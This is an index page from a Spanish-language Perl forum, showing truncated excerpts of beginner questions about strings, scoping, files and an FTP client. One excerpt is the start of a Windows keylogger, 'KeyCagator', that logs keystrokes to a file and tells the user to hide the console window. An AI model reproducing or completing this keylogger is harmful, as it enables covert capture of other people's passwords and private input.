Foro - Perl en Español

Sí funcionan con los números, pero no con letras. Por ejemplo, si pongo:
print --($foo = 'BA');
Entiendo que debería aparecer en pantalla "AZ", pero en vez de eso me muestra "-1". Extrañamente, sí funciona bien el incremento.

Estimados,
Los molesto porque me gustaría hacer que el siguiente script me guarde los resultados en archivos diferentes y no como ahora todo en uno solo.


#!/usr/bin/perl
BEGIN {
eval "use LWP::Simple";
if ($@) {
warn "Error al cargar modulo: LWP::Simple\n"
. "Instalar Modulo:\n"
. "\t\tcpan\n"
. "\t\tcpan> install LWP::Simple\n";
exit();
}
}

use LWP::Simple;

sub unescape {
my ($str) = splice(@_);
$str =~ s/\\u(.{4})/chr(hex($1))/eg;
return $str;
}

## Archivo Externo
open $FILE, ...

Nos han puesto un ejercicio que consiste en explicar las diferencias entre las variables locales y restringidas, con un ejemplo. Solo quiero saber si queda claro de la forma en la que lo he hecho.

numeros (); #Mostraremos en pantalla el resultado de la función "numeros".
sub numeros { #Defino la función numeros.
my $a = 5; #Defino una variable restringida con my, en este caso $a.
my $b = 10; #Defino otra variable ...

Version Tk de un cliente FTP que hice en Perl.

Las opciones que tiene son:

Listado de archivos en un directorio
Borrar archivos y directorios
Crear directorios nuevos
Renombrar
Descargar y subir archivos

Una imagen:


El código del programa:

#!usr/bin/perl
#FTP Manager 0.2
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::FileSelect;
use Cwd;
use Net::FTP;

if ( $^O eq 'MSWin32' ) {
use Win32::Console;
Win32::Console::Free(); ...

Hola a todos. Deseo identificar las 'a' y las 'b' de la cadena para imprimirlas y contarlas.
Ejemplo:

Entrada: aababaabb\n

Salida ababab\n

Entrada: aaaab\n\n

Salida: ab\n\n

Es decir, si hay una 'a' o 'b', despliega la letra; si hay más de una 'a' o 'b', además de la letra despliega la cantidad en corchetes.

Además debo desplegar la cantidad de líneas en blanco que haya.

He hecho algo así, pero no funciona
while (<>) ...

Es un ejercicio muy sencillo y debo de estar fallando en alguna tontería pero el programa que he elaborado me devuelve como resultado el último valor introducido. ¿En qué me falla?

print "Introduzca la cantidad de números a sumar: ";
my $a = <STDIN>;
chomp($a);
while ( $a <= 0 ) {
print "Introduzca un número mayor de 0:";
my $a = <STDIN>;
chomp($a);
}
if ( $a > 0 ) {
my $n ...

Hola, soy nuevo por aquí pero no es la primera vez que estos foros me resuelven alguna duda. En este caso he encontrado un caso muy parecido pero sigue sin resolverme la papeleta:

interactuar-con-shell-script-t6175.html


Estoy intentando hacer un script en Perl que lance un programa, monitorice la salida estándar y si pide entrada de datos, interaccione (no sé de antemano si el programa va a pedir datos, de ahí ...

Hola compañeros,

He eliminado la primera fila de una serie de ficheros planos de la siguiente manera.
my @arxius_U = sort </home/enric/ASCII/2012042000/UGRD10m*.dat>;
my @arxius_V = sort </home/enric/ASCII/2012042000/VGRD10m*.dat>;

for my $arxius (@arxius_U) {
tie my @lineas, 'Tie::File', $arxius;
shift @lineas;
untie @lineas;
}
for my $arxius (@arxius_V) {
tie my @lineas, 'Tie::File', $arxius;
shift @lineas;
untie @lineas;
}

Se elimina, pero ¿hay alguna manera de agrupar en menos líneas esta estructura? Básicamente estoy ...

Hola tengo el siguiente código.

#!usr/bin/perl
#KeyCagator (C) Doddy Hackman 2010

use Win32::API;

my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );

while (true) {
print "cerra la consola con perl2exe -gui\n";
for my $num ( 0x30 .. 0x39 ) {
if ( dame($num) ) {
savefile( "logs.txt", chr($num) );
}
}

for my $num ( 0x41 .. 0x5A ) {
if ( dame($num) ) {
savefile( "logs.txt", chr($num) );
}
}

} ...

¡Hola! :D Soy nueva en Perl.. ¡A ver si me podéis ayudar con un problema!

Tengo una tabla con X líneas, las líneas tienen distinta longitud.

Ejemplo de una línea:
Abnormalities(C0000768) NAT2(10) CDH2(1000) SHFM3(100049542) MIR874(100126343)

Lo que quiero hacer es "limpiar" toda la tabla, quitando los códigos que están entre paréntesis.

Estoy intentado lo siguiente:
use strict;
open( FHANDLE, "Disease.txt" );
while (<FHANDLE>) {
chomp; ...